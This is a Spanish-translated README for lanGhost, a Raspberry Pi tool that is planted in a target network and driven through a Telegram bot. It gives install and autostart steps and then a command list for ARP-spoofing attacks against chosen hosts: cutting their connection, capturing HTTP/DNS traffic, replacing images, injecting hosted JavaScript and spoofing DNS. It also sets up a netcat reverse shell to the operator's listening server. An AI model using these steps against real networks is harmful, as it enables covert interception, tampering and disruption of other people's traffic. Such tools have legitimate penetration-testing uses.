lanGhost está diseñado para Raspberry Pis ( Raspbian / Kali para RPi ). Ejecutarlo en otras distribuciones o de escritorio podría causar problemas y es posible que no funcione según lo previsto.
Necesitará una Raspberry Pi con Raspbian/Kali nuevo en la tarjeta SD, porque no quiere que se ejecute nada más en segundo plano.
Inicie el Pi, obtenga una venta SSH o conecte un monitor y un teclado e ingrese estos comandos:
$ sudo apt update && sudo apt install python3 python3-pip
$ git clone https://github.com/xdavidhu/lanGhost
$ cd lanGhost
$ sudo ./setup.py
¡ Lea las preguntas/mensajes mientras ejecuta el script de configuración!
[+] Please enter the name of the network interface connected/will
be connected to the target LAN. Default wired interface is 'eth0',
and the default wireless interface is 'wlan0' on most systems, but
you can check it in a different terminal with the 'ifconfig' command.
[+] Please create a Telegram API key by messaging @BotFather on Telegram
with the command '/newbot'.
After this, @BotFather will ask you to choose a name for your bot.
This can be anything you want.
Lastly, @BotFather will ask you for a username for your bot. You have
to choose a unique username here which ends with 'bot'. For
example: xdavidbot. Make note of this username, since later
you will have to search for this to find your bot, which lanGhost
will be running on.
After you send your username of choise to @BotFather, you will recieve
your API key.
[+] Now for lanGhost to only allow access to you, you need to verify yourself.
Send the verification code below TO THE BOT you just created. Just search for your
bot's @username (what you sent to @BotFather) to find it.
[+] Verification code to send: ******
[+] Do you want lanGhost to start on boot? This option is necessary if you are using
this device as a dropbox, because when you are going to drop this device into a
network, you will not have the chanse to start lanGhost remotely! (autostart works
by adding a new cron '@reboot' entry)
No se recomienda usar lanGhost en redes mayores a /24 porque los análisis tomarán demasiado tiempo.
lanGhost no está tranquilo . ¡Cualquiera que supervise el tráfico puede ver los paquetes ARP!
Si seleccionó yes
en step 4/4 (autostart)
el Pi estará completamente configurado para caer. lanGhost debería iniciarse al arrancar y enviarle un mensaje en Telegram con el texto: lanGhost started! ?
.
¡Asegúrate de probarlo primero en tu laboratorio y comprobar si lanGhost responde a tus mensajes!
Si está todo listo, simplemente conéctelo a la red de destino conectando el cable Ethernet al Pi y conectando la alimentación a través de micro USB y ¡listo!
(lanGhost también puede funcionar a través de WiFi, pero primero deberá configurar wpa_supplicant
para conectarse a la red automáticamente)
/scan - Scan LAN network
/scanip [TARGET-IP] - Scan a specific IP address.
/kill [TARGET-IP] - Stop the target's network connection.
/mitm [TARGET-IP] - Capture HTTP/DNS traffic from target.
/replaceimg [TARGET-IP] - Replace HTTP images requested by target.
/injectjs [TARGET-IP] [JS-FILE-URL] - Inject JavaScript into HTTP pages requested by target.
/spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP] - Spoof DNS records for target.
/attacks - View currently running attacks.
/stop [ATTACK-ID] - Stop a currently running attack.
/restart - Restart lanGhost.
/reversesh [TARGET-IP] [PORT] - Create a netcat reverse shell to target.
/help - Display the help menu.
/ping - Pong.
Puede iniciar un ataque utilizando uno de estos comandos: /kill, /mitm, /replaceimg, /injectjs, /spoofdns
Después de ejecutar uno o más ataques, puede usar el comando /attack
para obtener una lista de ellos que contenga los ATTACK-ID
.
Para detener un ataque, escriba /stop [ATTACK-ID]
.
/reversesh
solo realiza una conexión TCP netcat que no está cifrada y ¡todo el tráfico puede ser monitoreado! Úselo únicamente para reparaciones de emergencia o para configurar una conexión inversa cifrada si es necesario.
El comando /reversesh
sirve para obtener un shell inverso en el Pi, cuando no se puede acceder a él desde el exterior.
Para utilizar el comando /reversesh
necesitará tener un servidor escuchando el shell.
Comando Netcat para iniciar el oyente en su servidor:
$ nc -l 0.0.0.0 [PORT]
Comando de telegrama:
/reversesh [IP-of-your-listening-server] [PORT]
/kill
: detiene la conectividad a Internet del objetivo./mitm
: captura el tráfico HTTP y DNS del objetivo y lo envía en mensajes de texto./replaceimg
: reemplaza las imágenes HTTP del objetivo por la imagen que envía al bot./injectjs
: inyecta JavaScript en cada respuesta HTTP HTML para el objetivo. Debe alojar el archivo JS en su servidor y proporcionar la URL como parámetro./spoofdns
: falsifica las respuestas DNS del objetivo.¡Todos los ataques utilizan ARP Spoofing !
/scan
: escanea la red local y devuelve los hosts en línea. Utiliza nmap -sn
scan para descubrir hosts./scanip
: escanea una dirección IP en busca de puertos abiertos y otra información. Utiliza nmap -sS
escaneo.Recibirá un mensaje cada vez que un nuevo dispositivo se conecte o abandone la red.
Copyright (c) 2018 de David Schütz. Algunos derechos reservados.
lanGhost está bajo los términos de la Licencia MIT, siguiendo todas las aclaraciones indicadas en el archivo de licencia. También puedes seguir adelante y enviarme un correo electrónico a xdavid{at}protonmail{punto}com.